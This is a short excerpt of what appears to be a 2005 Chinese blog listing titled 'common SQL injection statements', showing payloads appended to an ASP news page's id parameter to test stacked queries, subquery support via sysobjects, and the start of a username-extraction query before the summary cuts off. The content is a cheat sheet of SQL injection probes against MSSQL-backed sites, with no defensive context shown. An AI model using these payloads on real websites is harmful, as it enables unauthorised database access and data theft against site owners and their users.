SQL 注入有常用语句
摘要：是否支持多句查询http://www.xxx.com/xxxnews/shownews.asp?id=51;declare @a int-- 是否支持子查询http://www.xxx.com/xxxnews/shownews.asp?id=51 and (Select count(1) from [sysobjects])>=0 返回用户名http://www.xxx.com/xxxnews/...
阅读全文
posted @ 2005-01-14 15:35